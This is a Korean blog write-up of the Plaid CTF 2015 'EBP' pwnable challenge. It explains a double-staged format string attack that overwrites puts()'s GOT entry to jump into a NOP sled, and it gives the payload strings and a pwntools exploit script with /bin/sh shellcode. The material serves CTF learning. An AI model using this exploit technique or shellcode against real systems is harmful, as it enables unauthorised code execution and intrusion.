Plaid CTF 2015 EBP (pwnable 160) 문제이다.
문제를 살펴보면, buf에 1024 입력을 받는다. 그 후 echo()가 수행되는데, echo()를 보면
echo()는 make_response()와 puts()로 이루어진 걸 알 수 있다. 궁금하니 이번에는 make_response()를 봐보자.
make_response()는 snprintf()를 수행함을 알 수 있다.
취약점들이 보인다. 일단, snprintf()와 puts()가 포맷스트링 버그가 일어날 수 있는 형태인데, 처음 사용되는 snprintf()에서 buf 에 형식문자들이 존재하여 포맷스트링 버그가 발생하면 그 결과 값이 response에 저장되므로 response 에는 형식문자가 들어갈 수 없다. 따라서 이 문제는 snprintf()에 format string attack을 가하는게 핵심이다.
snprintf() 에 break point 를 걸어 스택의 상황을 한 번 살펴보도록 하겠다.
snprintf() 가 수행되기 직전의 스택의 상황이다. 나는 여기서 format string attack을 통해 puts()의 GOT에 있는 값을 쉘코드가 있는 주소 값으로 덮어 씌워 exploit을 수행할 생각이다. 여기서 필요한 것은 이 스택 안의 어떤 스택을 가리키는 포인터이다. 물론 이 포인터는 스택 안에 존재하여 내가 건들 수 있어야 한다.
현재 스택의 상황을 분석한 것이다. 0xff853f34를 가리키고 있는 0xff853ea4에서 format string attack을 하여, 0xff853f34에 있는 값을 puts()의 GOT 주소로 덮어 씌울 것이다. 그 후 puts()의 GOT 주소를 가리키고 있는0xff853f34에서 format string attack을 하여 최종적으로 puts()의 GOT의 값을 buffer 중에 shellcode 가 있는 주소의 값으로 덮어 씌울 것이다. 이 기술은 double staged format string attack 이라고 하는데 다음의 사이트를 참고하면 좋을 것 같다.
http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack
오지고 지리고 아리랑고개를 넘어 새가 지저귀는 부분인 짱짱 해커 행님의 사이트다.
자 이제 puts()의 GOT 주소도 알아냈겠다. 준비가 끝났다. 포맷스트링에 대한 자세한 설명은 생략하겠다. 설명한 포스팅이 있으니 참고하기를 부탁한다. http://chp747.tistory.com/57
payload는 다음과 같다.
stage_1 = '%c'*21 + '%134520831c' + '%n'
#134520831 + 21 = 0x804A014 이다.
stage_2 = '%204c' + '%59$n'
#134520831 + 21 + 204 = 0x804A0E0 으로 'nop' + 'shellcode' 중의 nop으로 덮여있는 어딘가이다.
payload = stage_1 + stage_2 + '\x90'*50 + shellcode
를 입력하고 snprintf()를 수행한 직후의 스택 상황을 보면
이제 c 로 계속 진행을 해주면 puts()함수가 call하는 과정에서 eip가 shellcode가 있는 쪽으로 튀게 된다.
끝!
exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | from pwn import * r = process('./ebp') elf=ELF('./libc.so.6') #shellcode_add = 0x804a0e0 # puts@got : 0x804a014 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" raw_input() stage_0='' stage_0+= '%c'*21 + '%134520831c' stage_0+= '%n' #stage_0 = '%134520852c%23$n' #stage_0 += '%2c%24$n' stage_1 = '%204c' + '%59$n' #r.sendline('%c'*21 + '%134520831c' + '%n' + '%204c' + '%59$n') #r.sendline('%134520852c%23$n' + '%204c%59$n') r.sendline( stage_0 + stage_1 + '\x90'*50 +shellcode) #cmd='cat /home/ebp/flag' #print r.recvline() raw_input() #r.sendline('AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n') #r.sendline("%43690c%17$n") r.interactive() | cs |
'Write-up' 카테고리의 다른 글
[SECCON 2017] Vigenere3d writeup (0) | 2018.01.01 |
---|---|
[CSAW 2017] SCV writeup (0) | 2017.12.27 |
[hackerschool ftz] level11 writeup (format string attack) (1) | 2017.10.30 |
[CSAW 2017] Best Router writeup (0) | 2017.10.11 |
[DCTF 2017] No that kind of network writeup (0) | 2017.10.02 |